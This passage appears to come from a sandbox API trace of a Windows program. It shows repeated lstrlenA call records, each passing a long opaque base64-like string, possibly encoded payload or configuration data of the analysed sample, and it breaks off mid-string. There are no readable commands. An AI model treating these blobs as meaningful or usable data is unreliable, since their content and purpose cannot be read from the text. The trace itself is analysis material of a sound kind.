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") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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